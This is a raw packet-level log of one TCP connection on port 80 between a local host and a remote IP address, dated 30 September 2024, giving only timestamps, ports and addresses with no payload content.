Sep 30, 2024 13:59:27.019001007 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:27.019011021 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:27.019017935 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:27.019018888 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:27.019028902 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:27.019048929 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:27.019049883 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:27.019059896 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:27.019068956 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:27.019068956 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:27.019078016 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:27.019090891 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:27.019097090 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:27.019108057 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:27.019117117 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:27.019118071 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:27.019128084 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:27.019131899 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:27.019136906 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:27.019150972 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:27.019159079 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:27.019161940 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:27.019171000 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:27.019184113 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:27.019186974 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:27.019196033 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:27.019198895 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:27.019226074 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:27.019316912 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:27.019336939 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:27.019349098 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:27.019351959 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:27.019359112 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:27.019373894 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:27.019392014 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:27.019452095 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:27.019463062 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:27.019474030 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:27.019481897 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:27.019488096 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:27.019510984 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:27.019763947 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:27.019784927 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:27.019794941 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:27.019802094 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:27.019860029 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:27.019872904 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:27.019881964 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:27.019882917 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:27.019892931 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:27.019897938 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:27.019910097 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:27.019922972 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:27.019923925 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:27.019948006 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:27.019970894 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:27.020039082 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:27.020050049 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:27.020059109 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:27.020068884 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:27.020075083 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:27.020078897 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:27.020087004 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:27.020088911 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:27.020104885 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:27.020116091 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:27.020118952 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:27.020126104 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:27.020133018 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:27.020136118 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:27.020157099 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:27.020179033 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:27.020184994 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:27.020195007 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:27.020204067 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:27.020219088 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:27.020222902 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:27.020234108 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:27.020236015 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:27.020243883 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:27.020256996 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:27.020286083 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:27.020308971 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:27.020318985 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:27.020338058 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:27.020344973 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:27.020348072 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:27.020358086 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:27.020368099 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:27.020369053 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:27.020411968 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:27.020579100 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:27.020611048 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:27.020616055 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:27.020620108 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:27.020644903 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:27.020703077 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:27.020714045 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:27.020724058 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:27.020734072 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:27.020739079 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:27.020745039 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:27.020767927 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:27.020787001 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:27.108146906 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:27.108175039 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:27.108189106 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:27.108198881 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:27.108211040 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:27.108220100 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:27.108234882 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:27.108247042 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:27.108251095 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:27.108257055 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:27.108268023 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:27.108275890 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:27.108278990 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:27.108294010 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:27.108315945 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:27.108330011 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:27.108433962 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:27.108474016 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:27.108474970 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:27.108488083 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:27.108509064 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:27.108521938 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:27.108525038 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:27.108532906 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:27.108544111 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:27.108553886 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:27.108568907 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:27.108592033 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:27.108603954 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:27.108616114 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:27.108625889 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:27.108638048 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:27.108639956 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:27.108659029 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:27.108673096 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:27.108740091 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:27.108751059 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:27.108762026 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:27.108772039 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:27.108779907 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:27.108783960 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:27.108802080 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:27.108803034 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:27.108813047 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:27.108824015 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:27.108824968 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:27.108835936 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:27.108848095 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:27.108855009 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:27.108865976 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:27.108875990 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:27.108879089 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:27.108896017 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:27.108912945 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:27.108968019 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:27.108984947 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:27.108995914 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:27.109006882 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:27.109013081 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:27.109013081 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:27.109021902 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:27.109025002 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:27.109035969 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:27.109035969 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:27.109046936 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:27.109055042 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:27.109086990 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:27.109098911 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:27.109114885 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:27.109127045 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:27.109134912 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:27.109137058 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:27.109148979 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:27.109158039 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:27.109158039 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:27.109186888 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:27.109200001 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:27.109215975 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:27.109226942 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:27.109237909 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:27.109249115 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:27.109255075 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:27.109256983 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:27.109265089 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:27.109267950 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:27.109285116 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:27.109313011 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:27.109896898 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:27.109909058 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:27.109919071 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:27.109932899 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:27.109952927 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:27.109956980 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:27.109965086 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:27.109976053 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:27.109985113 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:27.109987020 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:27.109999895 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:27.110013962 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:27.110038042 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:27.110064030 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:27.110075951 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:27.110085964 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:27.110096931 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:27.110096931 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:27.110109091 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:27.110131979 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:27.110152960 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:27.110192060 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:27.110203981 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:27.110213995 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:27.110223055 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:27.110225916 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:27.110240936 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:27.110246897 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:27.110258102 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:27.110259056 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:27.110268116 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:27.110285044 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:27.110297918 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:27.110297918 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:27.110310078 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:27.110320091 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:27.110321999 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:27.110359907 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:27.110371113 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:27.110380888 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:27.110390902 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:27.110402107 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:27.110409975 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:27.110413074 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:27.110413074 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:27.110413074 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:27.110413074 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:27.110420942 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:27.110446930 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:27.110455990 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:27.110599041 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:27.110635042 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:27.110649109 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:27.110660076 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:27.110682964 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:27.110686064 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:27.110697031 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:27.110698938 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:27.110707998 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:27.110718012 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:27.110724926 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:27.110732079 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:27.110738993 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:27.110748053 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:27.110759974 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:27.110775948 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:27.110804081 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:27.110836983 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:27.110877037 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:27.110888004 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:27.110903978 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:27.110914946 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:27.110918999 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:27.110922098 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:27.110930920 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:27.110937119 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:27.110950947 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:27.110970020 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:27.110972881 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:27.110980988 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:27.111004114 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:27.111016035 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:27.111023903 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:27.111035109 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:27.111048937 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:27.111054897 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:27.111062050 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:27.111066103 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:27.111076117 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:27.111084938 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:27.111098051 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:27.111114979 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:27.111120939 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:27.111125946 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:27.111135006 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:27.111146927 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:27.111160994 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:27.111179113 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:27.111196041 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:27.111208916 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:27.111227989 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:27.111229897 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:27.111238003 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:27.111246109 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:27.111248970 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:27.111259937 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:27.111263990 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:27.111277103 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:27.111289024 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:27.111289978 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:27.111299038 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:27.111321926 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:27.111346006 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:27.111546040 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:27.111557961 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:27.111568928 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:27.111579895 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:27.111582994 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:27.111593962 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:27.111597061 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:27.111607075 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:27.111624002 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:27.111634016 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:27.111654997 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:27.111666918 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:27.111689091 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:27.111699104 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:27.199100018 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:27.199196100 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:27.199229002 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:27.199240923 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:27.199268103 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:27.199290037 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:27.199371099 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:27.199388981 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:27.199409008 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:27.199409962 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:27.199420929 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:27.199423075 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:27.199434996 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:27.199445009 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:27.199446917 CEST	49721	80	192.168.2.6	5.42.101.62
